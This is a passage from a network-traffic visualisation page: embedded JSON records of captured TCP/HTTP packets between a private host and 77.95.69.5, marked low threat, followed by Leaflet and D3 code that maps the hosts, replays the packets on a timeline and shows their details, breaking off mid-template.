\"tcp_seq\": 2730040292, \"tcp_ack\": 2504528133, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 10, \"timestamp\": 1784458639.398133, \"timestamp_iso\": \"2026-07-19T16:27:19.398133\", \"timestamp_human\": \"2026-07-19 16:27:19.398\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.95.69.5\", \"ttl\": 128, \"ip_id\": 42516, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64029, \"dst_port\": 80, \"tcp_seq\": 2730040292, \"tcp_ack\": 2504528203, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 5, \"PSH\": 1}, \"packet_sizes\": [66, 54, 456, 54, 54, 54], \"inter_packet_intervals\": [0.00011515617370605469, 6.890296936035156e-05, 0.309704065322876, 0.0004220008850097656, 0.08365201950073242], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.39396214485168457, \"avg_packet_size\": 123.0, \"packets_per_second\": 15.229889669371223, \"bytes_per_second\": 1873.2764293326604, \"min_packet_size\": 54, \"max_packet_size\": 456, \"median_packet_size\": 54, \"avg_interval\": 0.07879242897033692, \"min_interval\": 6.890296936035156e-05, \"max_interval\": 0.309704065322876}, {\"source\": \"77.95.69.5\", \"target\": \"10.152.152.11\", \"packet_count\": 5, \"total_bytes\": 4696, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64029], \"first_packet\": 1784458639.004193, \"last_packet\": 1784458639.347885, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1784458639.004193, \"timestamp_iso\": \"2026-07-19T16:27:19.004193\", \"timestamp_human\": \"2026-07-19 16:27:19.004\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"77.95.69.5\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64029, \"tcp_seq\": 2504523788, \"tcp_ack\": 2730039890, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1784458639.00436, \"timestamp_iso\": \"2026-07-19T16:27:19.004360\", \"timestamp_human\": \"2026-07-19 16:27:19.004\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"77.95.69.5\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 15389, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64029, \"tcp_seq\": 2504523789, \"tcp_ack\": 2730040292, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1784458639.313833, \"timestamp_iso\": \"2026-07-19T16:27:19.313833\", \"timestamp_human\": \"2026-07-19 16:27:19.313\", \"size\": 1518, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"77.95.69.5\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 15390, \"ip_len\": 1504, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64029, \"tcp_seq\": 2504523789, \"tcp_ack\": 2730040292, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 843, \"payload_preview\": \"7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a47\", \"payload_ascii\": \"{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflBJG\"}, {\"packet_number\": 7, \"timestamp\": 1784458639.314387, \"timestamp_iso\": \"2026-07-19T16:27:19.314387\", \"timestamp_human\": \"2026-07-19 16:27:19.314\", \"size\": 2934, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"77.95.69.5\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 15392, \"ip_len\": 2920, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64029, \"tcp_seq\": 2504525253, \"tcp_ack\": 2730040292, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2880, \"payload_preview\": \"6641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c\", \"payload_ascii\": \"fABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl\"}, {\"packet_number\": 9, \"timestamp\": 1784458639.347885, \"timestamp_iso\": \"2026-07-19T16:27:19.347885\", \"timestamp_human\": \"2026-07-19 16:27:19.347\", \"size\": 124, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"77.95.69.5\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 15394, \"ip_len\": 110, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64029, \"tcp_seq\": 2504528133, \"tcp_ack\": 2730040292, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 70, \"payload_preview\": \"354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \"5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 5, \"PSH\": 3}, \"packet_sizes\": [66, 54, 1518, 2934, 124], \"inter_packet_intervals\": [0.00016689300537109375, 0.30947303771972656, 0.0005540847778320312, 0.03349781036376953], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.3436918258666992, \"avg_packet_size\": 939.2, \"packets_per_second\": 14.547916545269391, \"bytes_per_second\": 13663.403219317011, \"min_packet_size\": 54, \"max_packet_size\": 2934, \"median_packet_size\": 124, \"avg_interval\": 0.0859229564666748, \"min_interval\": 0.00016689300537109375, \"max_interval\": 0.30947303771972656}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div 